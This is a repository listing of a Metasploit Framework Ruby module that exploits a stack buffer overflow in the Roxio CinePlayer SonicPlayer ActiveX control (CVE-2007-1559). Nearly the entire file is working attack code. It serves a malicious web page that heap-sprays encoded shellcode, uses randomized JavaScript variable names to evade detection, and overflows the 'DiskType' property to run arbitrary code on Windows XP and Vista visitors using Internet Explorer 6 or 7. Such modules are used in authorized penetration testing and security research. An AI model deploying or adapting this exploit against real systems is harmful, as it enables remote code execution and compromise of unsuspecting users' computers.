root / modules / exploits / windows / browser / roxio_cineplayer.rb @ master
History | View | Annotate | Download (3.6 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# Framework web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/framework/
|
| 10 |
##
|
| 11 |
|
| 12 |
require 'msf/core'
|
| 13 |
|
| 14 |
class Metasploit3 < Msf::Exploit::Remote |
| 15 |
Rank = NormalRanking |
| 16 |
|
| 17 |
include Msf::Exploit::Remote::HttpServer::HTML |
| 18 |
|
| 19 |
def initialize(info = {}) |
| 20 |
super(update_info(info,
|
| 21 |
'Name' => 'Roxio CinePlayer ActiveX Control Buffer Overflow', |
| 22 |
'Description' => %q{ |
| 23 |
This module exploits a stack-based buffer overflow in SonicPlayer ActiveX |
| 24 |
control (SonicMediaPlayer.dll) 3.0.0.1 installed by Roxio CinePlayer 3.2. |
| 25 |
By setting an overly long value to 'DiskType', an attacker can overrun |
| 26 |
a buffer and execute arbitrary code. |
| 27 |
},
|
| 28 |
'License' => MSF_LICENSE, |
| 29 |
'Author' => [ 'Trancer <mtrancer[at]gmail.com>' ], |
| 30 |
'Version' => '$Revision$', |
| 31 |
'References' =>
|
| 32 |
[ |
| 33 |
[ 'CVE', '2007-1559' ], |
| 34 |
[ 'OSVDB', '34779' ], |
| 35 |
[ 'BID', '23412' ], |
| 36 |
], |
| 37 |
'DefaultOptions' =>
|
| 38 |
{
|
| 39 |
'EXITFUNC' => 'process', |
| 40 |
}, |
| 41 |
'Payload' =>
|
| 42 |
{
|
| 43 |
'Space' => 1024, |
| 44 |
'BadChars' => "\x00\x09\x0a\x0d'\\", |
| 45 |
'StackAdjustment' => -3500, |
| 46 |
}, |
| 47 |
'Platform' => 'win', |
| 48 |
'Targets' =>
|
| 49 |
[ |
| 50 |
[ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { 'Offset' => 200, 'Ret' => 0x0C0C0C0C } ] |
| 51 |
], |
| 52 |
'DisclosureDate' => 'Apr 11 2007', |
| 53 |
'DefaultTarget' => 0)) |
| 54 |
end
|
| 55 |
|
| 56 |
def autofilter |
| 57 |
false
|
| 58 |
end
|
| 59 |
|
| 60 |
def check_dependencies |
| 61 |
use_zlib |
| 62 |
end
|
| 63 |
|
| 64 |
def on_request_uri(cli, request) |
| 65 |
# Re-generate the payload
|
| 66 |
return if ((p = regenerate_payload(cli)) == nil) |
| 67 |
|
| 68 |
# Encode the shellcode
|
| 69 |
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) |
| 70 |
|
| 71 |
# Setup exploit buffers
|
| 72 |
nops = Rex::Text.to_unescape([target.ret].pack('V')) |
| 73 |
ret = Rex::Text.uri_encode([target.ret].pack('L')) |
| 74 |
blocksize = 0x40000
|
| 75 |
fillto = 500
|
| 76 |
offset = target['Offset']
|
| 77 |
|
| 78 |
# Randomize the javascript variable names
|
| 79 |
sonic = rand_text_alpha(rand(100) + 1) |
| 80 |
j_shellcode = rand_text_alpha(rand(100) + 1) |
| 81 |
j_nops = rand_text_alpha(rand(100) + 1) |
| 82 |
j_headersize = rand_text_alpha(rand(100) + 1) |
| 83 |
j_slackspace = rand_text_alpha(rand(100) + 1) |
| 84 |
j_fillblock = rand_text_alpha(rand(100) + 1) |
| 85 |
j_block = rand_text_alpha(rand(100) + 1) |
| 86 |
j_memory = rand_text_alpha(rand(100) + 1) |
| 87 |
j_counter = rand_text_alpha(rand(30) + 2) |
| 88 |
j_ret = rand_text_alpha(rand(100) + 1) |
| 89 |
|
| 90 |
# Build out the message
|
| 91 |
content = %Q|
|
| 92 |
<html> |
| 93 |
<object classid='clsid:9F1363DA-0220-462E-B923-9E3C9038896F' id='#{sonic}'></object> |
| 94 |
<script language='javascript'> |
| 95 |
#{j_shellcode}=unescape('#{shellcode}'); |
| 96 |
#{j_nops}=unescape('#{nops}'); |
| 97 |
#{j_headersize}=20; |
| 98 |
#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length; |
| 99 |
while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops}; |
| 100 |
#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace}); |
| 101 |
#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace}); |
| 102 |
while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock}; |
| 103 |
#{j_memory}=new Array(); |
| 104 |
for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode}; |
| 105 |
#{j_ret}=''; |
| 106 |
for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}'); |
| 107 |
#{sonic}.DiskType(#{j_ret}); |
| 108 |
</script> |
| 109 |
</html> |
| 110 |
|
|
| 111 |
|
| 112 |
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
| 113 |
|
| 114 |
# Transmit the response to the client
|
| 115 |
send_response_html(cli, content) |
| 116 |
|
| 117 |
# Handle the payload
|
| 118 |
handler(cli) |
| 119 |
end
|
| 120 |
|
| 121 |
end
|